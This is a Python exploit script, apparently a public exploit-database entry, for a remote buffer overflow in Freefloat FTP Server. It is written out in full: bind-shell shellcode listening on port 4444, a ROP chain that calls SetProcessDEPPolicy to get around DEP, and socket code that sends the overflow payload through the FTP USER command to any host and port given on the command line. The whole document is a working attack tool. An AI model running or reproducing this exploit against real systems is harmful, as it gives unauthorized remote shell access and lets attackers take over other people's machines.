Freefloat FTP Server – Remote Buffer Overflow (DEP Bypass)
#!/usr/bin/python import socket, sys from struct import pack print "\n===============================" print "Freefloat FTP Server DEP Bypass" print " Written by Blake " print "===============================\n" if len(sys.argv) != 3: print "[*] Usage: %s <target> <port>\n" % sys.argv[0] sys.exit(0) target = sys.argv[1] port = int(sys.argv[2]) # 728 bytes for shellcode #Bind Shell shellcode port 4444 shellcode = ("\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4" "\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c" "\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07" "\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6\x64\x07" "\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f\x28\x3e" "\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7\xfb\x1f" "\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37\x58\x38" "\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77\x53\x65" "\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef\x01\x4a" "\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e\x85\x74" "\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf\x86\xd5" "\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b\x69\x80" "\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d\xb5\xa4" "\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e\x98\x80" "\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b\x4f\x82" "\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21\x66\x9a" "\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52\x58\x70" "\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2\xdd\xe6" "\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6\x3a\xf4" "\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3\x41\xc6" "\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba\x11\xa4" "\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48\xed\x53" "\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94\xb4\x84" "\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51" "\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a") buffer = "\x41" * 230 eip = pack('<L',0x77f613ac) # RETN - shlwapi rop = "\x42" * 8 # compensate rop += pack('<L',0x77c2362c) # POP EBX, RETN - msvcirt rop += "\xff\xff\xff\xff" rop += pack('<L',0x77c127e1) # INC EBX, RETN rop += pack('<L',0x5d093466) # POP EBP, RETN rop += pack('<L',0x7c8622a4) # SetProcessDEPPolicy rop += pack('<L',0x5d095470) # POP EDI, RETN rop += pack('<L',0x5d095471) # RETN rop += pack('<L',0x5d0913b4) # POP ESI, RETN rop += pack('<L',0x5d095471) # RETN rop += pack('<L',0x77e7d102) # PUSHAD # RETN - RPCRT4 nops = "\x90" * 10 junk = "\x42" * (1000 - len(buffer + eip + rop + nops + shellcode)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[+] Connecting to %s on port %d" % (target,port) try: s.connect((target,port)) s.recv(1024) print "[+] Sending payload" s.send("USER " + buffer + eip + rop + nops + shellcode + junk + "\r\n") s.close() print "[+] Exploit successfully sent" except: print "[X] Unable to connect to %s" % target raw_input("[+] Press any key to exit\n") |